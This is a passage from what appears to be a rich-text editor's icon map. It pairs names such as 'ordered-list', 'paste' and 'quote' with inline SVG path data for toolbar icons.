    'list-num-default-rtl': '<svg width="48" height="48"><g fill-rule="evenodd"><path opacity=".2" d="M8 12h22v4H8zM8 22h22v4H8zM8 32h22v4H8z"/><path d="M37.4 17v-4.8h-.1l-1.5 1v-1.1l1.6-1.1h1.2v6zM33.3 17.1c-.5 0-.8-.3-.8-.7 0-.4.3-.7.8-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7zm1.7 5.7c0-1.2 1-2 2.2-2 1.3 0 2.1.8 2.1 1.8 0 .7-.3 1.2-1.3 2.2l-1.2 1v.2h2.6v1h-4.3v-.9l2-1.9c.8-.8 1-1.1 1-1.5 0-.5-.4-.8-1-.8-.5 0-.9.3-.9.9H35zm-1.7 4.3c-.5 0-.8-.3-.8-.7 0-.4.3-.7.8-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7zm3.2 7.3v-1h.7c.6 0 1-.3 1-.8 0-.4-.4-.7-1-.7s-1 .3-1 .8H35c0-1.1 1-1.8 2.2-1.8 1.2 0 2.1.6 2.1 1.6 0 .7-.4 1.2-1 1.3v.1c.7.1 1.3.7 1.3 1.4 0 1-1 1.9-2.4 1.9-1.3 0-2.2-.8-2.3-2h1.2c0 .6.5 1 1.1 1 .6 0 1-.4 1-1 0-.5-.3-.8-1-.8h-.7zm-3.3 2.7c-.4 0-.7-.3-.7-.7 0-.4.3-.7.7-.7.5 0 .8.3.8.7 0 .4-.3.7-.8.7z"/></g></svg>',
    'list-num-default': '<svg width="48" height="48"><g fill-rule="evenodd"><path opacity=".2" d="M18 12h22v4H18zM18 22h22v4H18zM18 32h22v4H18z"/><path d="M10 17v-4.8l-1.5 1v-1.1l1.6-1h1.2V17h-1.2Zm3.6.1c-.4 0-.7-.3-.7-.7 0-.4.3-.7.7-.7.5 0 .7.3.7.7 0 .4-.2.7-.7.7Zm-5 5.7c0-1.2.8-2 2.1-2s2.1.8 2.1 1.8c0 .7-.3 1.2-1.4 2.2l-1.1 1v.2h2.6v1H8.6v-.9l2-1.9c.8-.8 1-1.1 1-1.5 0-.5-.4-.8-1-.8-.5 0-.9.3-.9.9H8.5Zm6.3 4.3c-.5 0-.7-.3-.7-.7 0-.4.2-.7.7-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7ZM10 34.4v-1h.7c.6 0 1-.3 1-.8 0-.4-.4-.7-1-.7s-1 .3-1 .8H8.6c0-1.1 1-1.8 2.2-1.8 1.3 0 2.1.6 2.1 1.6 0 .7-.4 1.2-1 1.3v.1c.8.1 1.3.7 1.3 1.4 0 1-1 1.9-2.4 1.9-1.3 0-2.2-.8-2.3-2h1.2c0 .6.5 1 1.1 1 .7 0 1-.4 1-1 0-.5-.3-.8-1-.8h-.7Zm4.7 2.7c-.4 0-.7-.3-.7-.7 0-.4.3-.7.7-.7.5 0 .8.3.8.7 0 .4-.3.7-.8.7Z"/></g></svg>',
    'list-num-lower-alpha-rtl': '<svg width="48" height="48"><g fill-rule="evenodd"><path opacity=".2" d="M8 12h22v4H8zM8 22h22v4H8zM8 32h22v4H8z"/><path d="M36.5 16c-.9 0-1.5-.5-1.5-1.3s.6-1.3 1.8-1.4h1v-.4c0-.4-.2-.6-.7-.6-.4 0-.7.1-.8.4h-1.1c0-.8.8-1.4 2-1.4S39 12 39 13V16h-1.2v-.6c-.3.4-.8.7-1.4.7Zm.4-.8c.6 0 1-.4 1-.9V14h-1c-.5.1-.7.3-.7.6 0 .4.3.6.7.6ZM33.1 16.1c-.4 0-.7-.3-.7-.7 0-.4.3-.7.7-.7.5 0 .8.3.8.7 0 .4-.3.7-.8.7ZM37.7 26c-.7 0-1.2-.2-1.5-.7v.7H35v-6.3h1.2v2.5c.3-.5.8-.9 1.5-.9 1.1 0 1.8 1 1.8 2.4 0 1.5-.7 2.4-1.8 2.4Zm-.5-3.6c-.6 0-1 .5-1 1.3s.4 1.4 1 1.4c.7 0 1-.6 1-1.4 0-.8-.3-1.3-1-1.3ZM33.2 26.1c-.4 0-.7-.3-.7-.7 0-.4.3-.7.7-.7.5 0 .8.3.8.7 0 .4-.3.7-.8.7zm6 7h-1c-.1-.5-.4-.8-1-.8s-1 .5-1 1.4c0 1 .4 1.4 1 1.4.5 0 .9-.2 1-.7h1c0 1-.8 1.7-2 1.7-1.4 0-2.2-.9-2.2-2.4s.8-2.4 2.2-2.4c1.2 0 2 .7 2 1.7zm-6.1 3c-.5 0-.7-.3-.7-.7 0-.4.2-.7.7-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7z"/></g></svg>',
    'list-num-lower-alpha': '<svg width="48" height="48"><g fill-rule="evenodd"><path opacity=".2" d="M18 12h22v4H18zM18 22h22v4H18zM18 32h22v4H18z"/><path d="M10.3 15.2c.5 0 1-.4 1-.9V14h-1c-.5.1-.8.3-.8.6 0 .4.3.6.8.6Zm-.4.9c-1 0-1.5-.6-1.5-1.4 0-.8.6-1.3 1.7-1.4h1.1v-.4c0-.4-.2-.6-.7-.6-.5 0-.8.1-.9.4h-1c0-.8.8-1.4 2-1.4 1.1 0 1.8.6 1.8 1.6V16h-1.1v-.6h-.1c-.2.4-.7.7-1.3.7Zm4.6 0c-.5 0-.7-.3-.7-.7 0-.4.2-.7.7-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7Zm-3.2 10c-.6 0-1.2-.3-1.4-.8v.7H8.5v-6.3H10v2.5c.3-.5.8-.9 1.4-.9 1.2 0 1.9 1 1.9 2.4 0 1.5-.7 2.4-1.9 2.4Zm-.4-3.7c-.7 0-1 .5-1 1.3s.3 1.4 1 1.4c.6 0 1-.6 1-1.4 0-.8-.4-1.3-1-1.3Zm4 3.7c-.5 0-.7-.3-.7-.7 0-.4.2-.7.7-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7Zm-2.2 7h-1.2c0-.5-.4-.8-.9-.8-.6 0-1 .5-1 1.4 0 1 .4 1.4 1 1.4.5 0 .8-.2 1-.7h1c0 1-.8 1.7-2 1.7-1.4 0-2.2-.9-2.2-2.4s.8-2.4 2.2-2.4c1.2 0 2 .7 2 1.7Zm1.8 3c-.5 0-.8-.3-.8-.7 0-.4.3-.7.8-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7Z"/></g></svg>',
    'list-num-lower-greek-rtl': '<svg width="48" height="48"><g fill-rule="evenodd"><path opacity=".2" d="M8 12h22v4H8zM8 22h22v4H8zM8 32h22v4H8z"/><path d="M37.4 16c-1.2 0-2-.8-2-2.3 0-1.5.8-2.4 2-2.4.6 0 1 .4 1.3 1v-.9H40v3.2c0 .4.1.5.4.5h.2v.9h-.6c-.6 0-1-.2-1-.7h-.2c-.2.4-.7.8-1.3.8Zm.3-1c.6 0 1-.5 1-1.3s-.4-1.3-1-1.3-1 .5-1 1.3.4 1.4 1 1.4ZM33.3 16.1c-.5 0-.8-.3-.8-.7 0-.4.3-.7.8-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7ZM36 21.9c0-1.5.8-2.3 2.1-2.3 1.2 0 2 .6 2 1.6 0 .6-.3 1-.9 1.3.9.3 1.3.8 1.3 1.7 0 1.2-.7 1.9-1.8 1.9-.6 0-1.1-.3-1.4-.8v2.2H36V22Zm1.8 1.2v-1h.3c.5 0 .9-.2.9-.7 0-.5-.3-.8-.9-.8-.5 0-.8.3-.8 1v2.2c0 .8.4 1.3 1 1.3s1-.4 1-1-.4-1-1.2-1h-.3ZM33.3 26.1c-.5 0-.8-.3-.8-.7 0-.4.3-.7.8-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7ZM37.1 34.6 34.8 30h1.4l1.7 3.5 1.7-3.5h1.1l-2.2 4.6v.1c.5.8.7 1.4.7 1.8 0 .4-.2.8-.4 1-.2.2-.6.3-1 .3-.9 0-1.3-.4-1.3-1.2 0-.5.2-1 .5-1.7l.1-.2Zm.7 1a2 2 0 0 0-.4.9c0 .3.1.4.4.4.3 0 .4-.1.4-.4 0-.2-.1-.6-.4-1ZM33.3 36.1c-.5 0-.8-.3-.8-.7 0-.4.3-.7.8-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7Z"/></g></svg>',
    'list-num-lower-greek': '<svg width="48" height="48"><g fill-rule="evenodd"><path opacity=".2" d="M18 12h22v4H18zM18 22h22v4H18zM18 32h22v4H18z"/><path d="M10.5 15c.7 0 1-.5 1-1.3s-.3-1.3-1-1.3c-.5 0-.9.5-.9 1.3s.4 1.4 1 1.4Zm-.3 1c-1.1 0-1.8-.8-1.8-2.3 0-1.5.7-2.4 1.8-2.4.7 0 1.1.4 1.3 1h.1v-.9h1.2v3.2c0 .4.1.5.4.5h.2v.9h-.6c-.6 0-1-.2-1.1-.7h-.1c-.2.4-.7.8-1.4.8Zm5 .1c-.5 0-.8-.3-.8-.7 0-.4.3-.7.7-.7.5 0 .8.3.8.7 0 .4-.3.7-.8.7Zm-4.9 7v-1h.3c.6 0 1-.2 1-.7 0-.5-.4-.8-1-.8-.5 0-.8.3-.8 1v2.2c0 .8.4 1.3 1.1 1.3.6 0 1-.4 1-1s-.5-1-1.3-1h-.3ZM8.6 22c0-1.5.7-2.3 2-2.3 1.2 0 2 .6 2 1.6 0 .6-.3 1-.8 1.3.8.3 1.3.8 1.3 1.7 0 1.2-.8 1.9-1.9 1.9-.6 0-1.1-.3-1.3-.8v2.2H8.5V22Zm6.2 4.2c-.4 0-.7-.3-.7-.7 0-.4.3-.7.7-.7.5 0 .7.3.7.7 0 .4-.2.7-.7.7Zm-4.5 8.5L8 30h1.4l1.7 3.5 1.7-3.5h1.1l-2.2 4.6v.1c.5.8.7 1.4.7 1.8 0 .4-.1.8-.4 1-.2.2-.6.3-1 .3-.9 0-1.3-.4-1.3-1.2 0-.5.2-1 .5-1.7l.1-.2Zm.7 1a2 2 0 0 0-.4.9c0 .3.1.4.4.4.3 0 .4-.1.4-.4 0-.2-.1-.6-.4-1Zm4.5.5c-.5 0-.8-.3-.8-.7 0-.4.3-.7.8-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7Z"/></g></svg>',
    'list-num-lower-roman-rtl': '<svg width="48" height="48"><g fill-rule="evenodd"><path opacity=".2" d="M8 12h22v4H8zM8 22h22v4H8zM8 32h22v4H8z"/><path d="M32.9 16v-1.2h-1.3V16H33Zm0 10v-1.2h-1.3V26H33Zm0 10v-1.2h-1.3V36H33Z"/><path fill-rule="nonzero" d="M36 21h-1.5v5H36zM36 31h-1.5v5H36zM39 21h-1.5v5H39zM39 31h-1.5v5H39zM42 31h-1.5v5H42zM36 11h-1.5v5H36zM36 19h-1.5v1H36zM36 29h-1.5v1H36zM39 19h-1.5v1H39zM39 29h-1.5v1H39zM42 29h-1.5v1H42zM36 9h-1.5v1H36z"/></g></svg>',
    'list-num-lower-roman': '<svg width="48" height="48"><g fill-rule="evenodd"><path opacity=".2" d="M18 12h22v4H18zM18 22h22v4H18zM18 32h22v4H18z"/><path d="M15.1 16v-1.2h1.3V16H15Zm0 10v-1.2h1.3V26H15Zm0 10v-1.2h1.3V36H15Z"/><path fill-rule="nonzero" d="M12 21h1.5v5H12zM12 31h1.5v5H12zM9 21h1.5v5H9zM9 31h1.5v5H9zM6 31h1.5v5H6zM12 11h1.5v5H12zM12 19h1.5v1H12zM12 29h1.5v1H12zM9 19h1.5v1H9zM9 29h1.5v1H9zM6 29h1.5v1H6zM12 9h1.5v1H12z"/></g></svg>',
    'list-num-upper-alpha-rtl': '<svg width="48" height="48"><g fill-rule="evenodd"><path opacity=".2" d="M8 12h22v4H8zM8 22h22v4H8zM8 32h22v4H8z"/><path d="m39.3 17-.5-1.4h-2l-.5 1.4H35l2-6h1.6l2 6h-1.3Zm-1.6-4.7-.7 2.3h1.6l-.8-2.3ZM33.4 17c-.4 0-.7-.3-.7-.7 0-.4.3-.7.7-.7.5 0 .7.3.7.7 0 .4-.2.7-.7.7Zm4.7 9.9h-2.7v-6H38c1.2 0 1.9.6 1.9 1.5 0 .6-.5 1.2-1 1.3.7.1 1.3.7 1.3 1.5 0 1-.8 1.7-2 1.7Zm-1.4-5v1.5h1c.6 0 1-.3 1-.8 0-.4-.4-.7-1-.7h-1Zm0 4h1.1c.7 0 1.1-.3 1.1-.8 0-.6-.4-.9-1.1-.9h-1.1V26ZM33 27.1c-.5 0-.8-.3-.8-.7 0-.4.3-.7.8-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7Zm4.9 10c-1.8 0-2.8-1.1-2.8-3.1s1-3.1 2.8-3.1c1.4 0 2.5.9 2.6 2.2h-1.3c0-.7-.6-1.1-1.3-1.1-1 0-1.6.7-1.6 2s.6 2 1.6 2c.7 0 1.2-.4 1.4-1h1.2c-.1 1.3-1.2 2.2-2.6 2.2Zm-4.5 0c-.5 0-.8-.3-.8-.7 0-.4.3-.7.8-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7Z"/></g></svg>',
    'list-num-upper-alpha': '<svg width="48" height="48"><g fill-rule="evenodd"><path opacity=".2" d="M18 12h22v4H18zM18 22h22v4H18zM18 32h22v4H18z"/><path d="m12.6 17-.5-1.4h-2L9.5 17H8.3l2-6H12l2 6h-1.3ZM11 12.3l-.7 2.3h1.6l-.8-2.3Zm4.7 4.8c-.4 0-.7-.3-.7-.7 0-.4.3-.7.7-.7.5 0 .7.3.7.7 0 .4-.2.7-.7.7ZM11.4 27H8.7v-6h2.6c1.2 0 1.9.6 1.9 1.5 0 .6-.5 1.2-1 1.3.7.1 1.3.7 1.3 1.5 0 1-.8 1.7-2 1.7ZM10 22v1.5h1c.6 0 1-.3 1-.8 0-.4-.4-.7-1-.7h-1Zm0 4H11c.7 0 1.1-.3 1.1-.8 0-.6-.4-.9-1.1-.9H10V26Zm5.4 1.1c-.5 0-.8-.3-.8-.7 0-.4.3-.7.8-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7Zm-4.1 10c-1.8 0-2.8-1.1-2.8-3.1s1-3.1 2.8-3.1c1.4 0 2.5.9 2.6 2.2h-1.3c0-.7-.6-1.1-1.3-1.1-1 0-1.6.7-1.6 2s.6 2 1.6 2c.7 0 1.2-.4 1.4-1h1.2c-.1 1.3-1.2 2.2-2.6 2.2Zm4.5 0c-.5 0-.8-.3-.8-.7 0-.4.3-.7.8-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7Z"/></g></svg>',
    'list-num-upper-roman-rtl': '<svg width="48" height="48"><g fill-rule="evenodd"><path opacity=".2" d="M8 12h22v4H8zM8 22h22v4H8zM8 32h22v4H8z"/><path d="M31.6 17v-1.2H33V17h-1.3Zm0 10v-1.2H33V27h-1.3Zm0 10v-1.2H33V37h-1.3Z"/><path fill-rule="nonzero" d="M34.5 20H36v7h-1.5zM34.5 30H36v7h-1.5zM37.5 20H39v7h-1.5zM37.5 30H39v7h-1.5zM40.5 30H42v7h-1.5zM34.5 10H36v7h-1.5z"/></g></svg>',
    'list-num-upper-roman': '<svg width="48" height="48"><g fill-rule="evenodd"><path opacity=".2" d="M18 12h22v4H18zM18 22h22v4H18zM18 32h22v4H18z"/><path d="M15.1 17v-1.2h1.3V17H15Zm0 10v-1.2h1.3V27H15Zm0 10v-1.2h1.3V37H15Z"/><path fill-rule="nonzero" d="M12 20h1.5v7H12zM12 30h1.5v7H12zM9 20h1.5v7H9zM9 30h1.5v7H9zM6 30h1.5v7H6zM12 10h1.5v7H12z"/></g></svg>',
    'lock': '<svg width="24" height="24"><path d="M16.3 11c.2 0 .3 0 .5.2l.2.6v7.4c0 .3 0 .4-.2.6l-.6.2H7.8c-.3 0-.4 0-.6-.2a.7.7 0 0 1-.2-.6v-7.4c0-.3 0-.4.2-.6l.5-.2H8V8c0-.8.3-1.5.9-2.1.6-.6 1.3-.9 2.1-.9h2c.8 0 1.5.3 2.1.9.6.6.9 1.3.9 2.1v3h.3ZM10 8v3h4V8a1 1 0 0 0-.3-.7A1 1 0 0 0 13 7h-2a1 1 0 0 0-.7.3 1 1 0 0 0-.3.7Z" fill-rule="evenodd"/></svg>',
    'ltr': '<svg width="24" height="24"><path d="M11 5h7a1 1 0 0 1 0 2h-1v11a1 1 0 0 1-2 0V7h-2v11a1 1 0 0 1-2 0v-6c-.5 0-1 0-1.4-.3A3.4 3.4 0 0 1 7.8 10a3.3 3.3 0 0 1 0-2.8 3.4 3.4 0 0 1 1.8-1.8L11 5ZM4.4 16.2 6.2 15l-1.8-1.2a1 1 0 0 1 1.2-1.6l3 2a1 1 0 0 1 0 1.6l-3 2a1 1 0 1 1-1.2-1.6Z" fill-rule="evenodd"/></svg>',
    'more-drawer': '<svg width="24" height="24"><path d="M6 10a2 2 0 0 0-2 2c0 1.1.9 2 2 2a2 2 0 0 0 2-2 2 2 0 0 0-2-2Zm12 0a2 2 0 0 0-2 2c0 1.1.9 2 2 2a2 2 0 0 0 2-2 2 2 0 0 0-2-2Zm-6 0a2 2 0 0 0-2 2c0 1.1.9 2 2 2a2 2 0 0 0 2-2 2 2 0 0 0-2-2Z" fill-rule="nonzero"/></svg>',
    'new-document': '<svg width="24" height="24"><path d="M14.4 3H7a2 2 0 0 0-2 2v14c0 1.1.9 2 2 2h10a2 2 0 0 0 2-2V7.6L14.4 3ZM17 19H7V5h6v4h4v10Z" fill-rule="nonzero"/></svg>',
    'new-tab': '<svg width="24" height="24"><path d="m15 13 2-2v8H5V7h8l-2 2H7v8h8v-4Zm4-8v5.5l-2-2-5.6 5.5H10v-1.4L15.5 7l-2-2H19Z" fill-rule="evenodd"/></svg>',
    'non-breaking': '<svg width="24" height="24"><path d="M11 11H8a1 1 0 1 1 0-2h3V6c0-.6.4-1 1-1s1 .4 1 1v3h3c.6 0 1 .4 1 1s-.4 1-1 1h-3v3c0 .6-.4 1-1 1a1 1 0 0 1-1-1v-3Zm10 4v5H3v-5c0-.6.4-1 1-1s1 .4 1 1v3h14v-3c0-.6.4-1 1-1s1 .4 1 1Z" fill-rule="evenodd"/></svg>',
    'notice': '<svg width="24" height="24"><path d="M15.5 4 20 8.5v7L15.5 20h-7L4 15.5v-7L8.5 4h7ZM13 17v-2h-2v2h2Zm0-4V7h-2v6h2Z" fill-rule="evenodd" clip-rule="evenodd"/></svg>',
    'ordered-list-rtl': '<svg width="24" height="24"><path d="M6 17h8a1 1 0 0 1 0 2H6a1 1 0 0 1 0-2Zm0-6h8a1 1 0 0 1 0 2H6a1 1 0 0 1 0-2Zm0-6h8a1 1 0 0 1 0 2H6a1 1 0 1 1 0-2Zm13-1v3.5a.5.5 0 1 1-1 0V5h-.5a.5.5 0 1 1 0-1H19Zm-1 8.8.2.2h1.3a.5.5 0 1 1 0 1h-1.6a1 1 0 0 1-.9-1V13c0-.4.3-.8.6-1l1.2-.4.2-.3a.2.2 0 0 0-.2-.2h-1.3a.5.5 0 0 1-.5-.5c0-.3.2-.5.5-.5h1.6c.5 0 .9.4.9 1v.1c0 .4-.3.8-.6 1l-1.2.4-.2.3Zm2 4.2v2c0 .6-.4 1-1 1h-1.5a.5.5 0 0 1 0-1h1.2a.3.3 0 1 0 0-.6h-1.3a.4.4 0 1 1 0-.8h1.3a.3.3 0 0 0 0-.6h-1.2a.5.5 0 1 1 0-1H19c.6 0 1 .4 1 1Z" fill-rule="evenodd"/></svg>',
    'ordered-list': '<svg width="24" height="24"><path d="M10 17h8c.6 0 1 .4 1 1s-.4 1-1 1h-8a1 1 0 0 1 0-2Zm0-6h8c.6 0 1 .4 1 1s-.4 1-1 1h-8a1 1 0 0 1 0-2Zm0-6h8c.6 0 1 .4 1 1s-.4 1-1 1h-8a1 1 0 1 1 0-2ZM6 4v3.5c0 .3-.2.5-.5.5a.5.5 0 0 1-.5-.5V5h-.5a.5.5 0 0 1 0-1H6Zm-1 8.8.2.2h1.3c.3 0 .5.2.5.5s-.2.5-.5.5H4.9a1 1 0 0 1-.9-1V13c0-.4.3-.8.6-1l1.2-.4.2-.3a.2.2 0 0 0-.2-.2H4.5a.5.5 0 0 1-.5-.5c0-.3.2-.5.5-.5h1.6c.5 0 .9.4.9 1v.1c0 .4-.3.8-.6 1l-1.2.4-.2.3ZM7 17v2c0 .6-.4 1-1 1H4.5a.5.5 0 0 1 0-1h1.2c.2 0 .3-.1.3-.3 0-.2-.1-.3-.3-.3H4.4a.4.4 0 1 1 0-.8h1.3c.2 0 .3-.1.3-.3 0-.2-.1-.3-.3-.3H4.5a.5.5 0 1 1 0-1H6c.6 0 1 .4 1 1Z" fill-rule="evenodd"/></svg>',
    'orientation': '<svg width="24" height="24"><path d="M7.3 6.4 1 13l6.4 6.5 6.5-6.5-6.5-6.5ZM3.7 13l3.6-3.7L11 13l-3.7 3.7-3.6-3.7ZM12 6l2.8 2.7c.3.3.3.8 0 1-.3.4-.9.4-1.2 0L9.2 5.7a.8.8 0 0 1 0-1.2L13.6.2c.3-.3.9-.3 1.2 0 .3.3.3.8 0 1.1L12 4h1a9 9 0 1 1-4.3 16.9l1.5-1.5A7 7 0 1 0 13 6h-1Z" fill-rule="nonzero"/></svg>',
    'outdent': '<svg width="24" height="24"><path d="M7 5h12c.6 0 1 .4 1 1s-.4 1-1 1H7a1 1 0 1 1 0-2Zm5 4h7c.6 0 1 .4 1 1s-.4 1-1 1h-7a1 1 0 0 1 0-2Zm0 4h7c.6 0 1 .4 1 1s-.4 1-1 1h-7a1 1 0 0 1 0-2Zm-5 4h12a1 1 0 0 1 0 2H7a1 1 0 0 1 0-2Zm1.6-3.8a1 1 0 0 1-1.2 1.6l-3-2a1 1 0 0 1 0-1.6l3-2a1 1 0 0 1 1.2 1.6L6.8 12l1.8 1.2Z" fill-rule="evenodd"/></svg>',
    'page-break': '<svg width="24" height="24"><g fill-rule="evenodd"><path d="M5 11c.6 0 1 .4 1 1s-.4 1-1 1a1 1 0 0 1 0-2Zm3 0h1c.6 0 1 .4 1 1s-.4 1-1 1H8a1 1 0 0 1 0-2Zm4 0c.6 0 1 .4 1 1s-.4 1-1 1a1 1 0 0 1 0-2Zm3 0h1c.6 0 1 .4 1 1s-.4 1-1 1h-1a1 1 0 0 1 0-2Zm4 0c.6 0 1 .4 1 1s-.4 1-1 1a1 1 0 0 1 0-2ZM7 3v5h10V3c0-.6.4-1 1-1s1 .4 1 1v7H5V3c0-.6.4-1 1-1s1 .4 1 1ZM6 22a1 1 0 0 1-1-1v-7h14v7c0 .6-.4 1-1 1a1 1 0 0 1-1-1v-5H7v5c0 .6-.4 1-1 1Z"/></g></svg>',
    'paragraph': '<svg width="24" height="24"><path fill-rule="evenodd" d="M10 5h7a1 1 0 0 1 0 2h-1v11a1 1 0 0 1-2 0V7h-2v11a1 1 0 0 1-2 0v-6c-.5 0-1 0-1.4-.3A3.4 3.4 0 0 1 6.8 10a3.3 3.3 0 0 1 0-2.8 3.4 3.4 0 0 1 1.8-1.8L10 5Z"/></svg>',
    'paste-column-after': '<svg width="24" height="24"><path fill-rule="evenodd" d="M12 1a3 3 0 0 1 2.8 2H18c1 0 2 .8 2 1.9V7h-2V5h-2v1c0 .6-.4 1-1 1H9a1 1 0 0 1-1-1V5H6v13h7v2H6c-1 0-2-.8-2-1.9V5c0-1 .8-2 1.9-2H9.2A3 3 0 0 1 12 1Zm8 7v12h-6V8h6Zm-1.5 1.5h-3v9h3v-9ZM12 3a1 1 0 1 0 0 2 1 1 0 0 0 0-2Z"/></svg>',
    'paste-column-before': '<svg width="24" height="24"><path fill-rule="evenodd" d="M12 1a3 3 0 0 1 2.8 2H18c1 0 2 .8 2 1.9V18c0 1-.8 2-1.9 2H11v-2h7V5h-2v1c0 .6-.4 1-1 1H9a1 1 0 0 1-1-1V5H6v2H4V5c0-1 .8-2 1.9-2H9.2A3 3 0 0 1 12 1Zm-2 7v12H4V8h6ZM8.5 9.5h-3v9h3v-9ZM12 3a1 1 0 1 0 0 2 1 1 0 0 0 0-2Z"/></svg>',
    'paste-row-after': '<svg width="24" height="24"><path fill-rule="evenodd" d="M12 1a3 3 0 0 1 2.8 2H18c1 0 2 .8 2 1.9V11h-2V5h-2v1c0 .6-.4 1-1 1H9a1 1 0 0 1-1-1V5H6v13h14c0 1-.8 2-1.9 2H6c-1 0-2-.8-2-1.9V5c0-1 .8-2 1.9-2H9.2A3 3 0 0 1 12 1Zm10 11v5H8v-5h14Zm-1.5 1.5h-11v2h11v-2ZM12 3a1 1 0 1 0 0 2 1 1 0 0 0 0-2Z"/></svg>',
    'paste-row-before': '<svg width="24" height="24"><path fill-rule="evenodd" d="M12 1a3 3 0 0 1 2.8 2H18c1 0 2 .8 2 1.9V7h-2V5h-2v1c0 .6-.4 1-1 1H9a1 1 0 0 1-1-1V5H6v13h12v-4h2v4c0 1-.8 2-1.9 2H6c-1 0-2-.8-2-1.9V5c0-1 .8-2 1.9-2H9.2A3 3 0 0 1 12 1Zm10 7v5H8V8h14Zm-1.5 1.5h-11v2h11v-2ZM12 3a1 1 0 1 0 0 2 1 1 0 0 0 0-2Z"/></svg>',
    'paste-text': '<svg width="24" height="24"><path d="M18 9V5h-2v1c0 .6-.4 1-1 1H9a1 1 0 0 1-1-1V5H6v13h3V9h9ZM9 20H6a2 2 0 0 1-2-2V5c0-1.1.9-2 2-2h3.2A3 3 0 0 1 12 1a3 3 0 0 1 2.8 2H18a2 2 0 0 1 2 2v4h1v12H9v-1Zm1.5-9.5v9h9v-9h-9ZM12 3a1 1 0 0 0-1 1c0 .5.4 1 1 1s1-.5 1-1-.4-1-1-1Zm0 9h6v2h-.5l-.5-1h-1v4h.8v1h-3.6v-1h.8v-4h-1l-.5 1H12v-2Z" fill-rule="nonzero"/></svg>',
    'paste': '<svg width="24" height="24"><path d="M18 9V5h-2v1c0 .6-.4 1-1 1H9a1 1 0 0 1-1-1V5H6v13h3V9h9ZM9 20H6a2 2 0 0 1-2-2V5c0-1.1.9-2 2-2h3.2A3 3 0 0 1 12 1a3 3 0 0 1 2.8 2H18a2 2 0 0 1 2 2v4h1v12H9v-1Zm1.5-9.5v9h9v-9h-9ZM12 3a1 1 0 0 0-1 1c0 .5.4 1 1 1s1-.5 1-1-.4-1-1-1Z" fill-rule="nonzero"/></svg>',
    'permanent-pen': '<svg width="24" height="24"><path d="M10.5 17.5 8 20H3v-3l3.5-3.5a2 2 0 0 1 0-3L14 3l1 1-7.3 7.3a1 1 0 0 0 0 1.4l3.6 3.6c.4.4 1 .4 1.4 0L20 9l1 1-7.6 7.6a2 2 0 0 1-2.8 0l-.1-.1Z" fill-rule="nonzero"/></svg>',
    'plus': '<svg width="24" height="24"><path d="M12 4c.5 0 1 .4 1 .9V11h6a1 1 0 0 1 .1 2H13v6a1 1 0 0 1-2 .1V13H5a1 1 0 0 1-.1-2H11V5c0-.6.4-1 1-1Z"/></svg>',
    'preferences': '<svg width="24" height="24"><path d="m20.1 13.5-1.9.2a5.8 5.8 0 0 1-.6 1.5l1.2 1.5c.4.4.3 1 0 1.4l-.7.7a1 1 0 0 1-1.4 0l-1.5-1.2a6.2 6.2 0 0 1-1.5.6l-.2 1.9c0 .5-.5.9-1 .9h-1a1 1 0 0 1-1-.9l-.2-1.9a5.8 5.8 0 0 1-1.5-.6l-1.5 1.2a1 1 0 0 1-1.4 0l-.7-.7a1 1 0 0 1 0-1.4l1.2-1.5a6.2 6.2 0 0 1-.6-1.5l-1.9-.2a1 1 0 0 1-.9-1v-1c0-.5.4-1 .9-1l1.9-.2a5.8 5.8 0 0 1 .6-1.5L5.2 7.3a1 1 0 0 1 0-1.4l.7-.7a1 1 0 0 1 1.4 0l1.5 1.2a6.2 6.2 0 0 1 1.5-.6l.2-1.9c0-.5.5-.9 1-.9h1c.5 0 1 .4 1 .9l.2 1.9a5.8 5.8 0 0 1 1.5.6l1.5-1.2a1 1 0 0 1 1.4 0l.7.7c.3.4.4 1 0 1.4l-1.2 1.5a6.2 6.2 0 0 1 .6 1.5l1.9.2c.5 0 .9.5.9 1v1c0 .5-.4 1-.9 1ZM12 15a3 3 0 1 0 0-6 3 3 0 0 0 0 6Z" fill-rule="evenodd"/></svg>',
    'preview': '<svg width="24" height="24"><path d="M3.5 12.5c.5.8 1.1 1.6 1.8 2.3 2 2 4.2 3.2 6.7 3.2s4.7-1.2 6.7-3.2a16.2 16.2 0 0 0 2.1-2.8 15.7 15.7 0 0 0-2.1-2.8c-2-2-4.2-3.2-6.7-3.2a9.3 9.3 0 0 0-6.7 3.2A16.2 16.2 0 0 0 3.2 12c0 .2.2.3.3.5Zm-2.4-1 .7-1.2L4 7.8C6.2 5.4 8.9 4 12 4c3 0 5.8 1.4 8.1 3.8a18.2 18.2 0 0 1 2.8 3.7v1l-.7 1.2-2.1 2.5c-2.3 2.4-5 3.8-8.1 3.8-3 0-5.8-1.4-8.1-3.8a18.2 18.2 0 0 1-2.8-3.7 1 1 0 0 1 0-1Zm12-3.3a2 2 0 1 0 2.7 2.6 4 4 0 1 1-2.6-2.6Z" fill-rule="nonzero"/></svg>',
    'print': '<svg width="24" height="24"><path d="M18 8H6a3 3 0 0 0-3 3v6h2v3h14v-3h2v-6a3 3 0 0 0-3-3Zm-1 10H7v-4h10v4Zm.5-5c-.8 0-1.5-.7-1.5-1.5s.7-1.5 1.5-1.5 1.5.7 1.5 1.5-.7 1.5-1.5 1.5Zm.5-8H6v2h12V5Z" fill-rule="nonzero"/></svg>',
    'quote': '<svg width="24" height="24"><path d="M7.5 17h.9c.4 0 .7-.2.9-.6L11 13V8c0-.6-.4-1-1-1H6a1 1 0 0 0-1 1v4c0 .6.4 1 1 1h2l-1.3 2.7a1 1 0 0 0 .8 1.3Zm8 0h.9c.4 0 .7-.2.9-.6L19 13V8c0-.6-.4-1-1-1h-4a1 1 0 0 0-1 1v4c0 .6.4 1 1 1h2l-1.3 2.7a1 1 0 0 0 .8 1.3Z" fill-rule="nonzero"/></svg>',
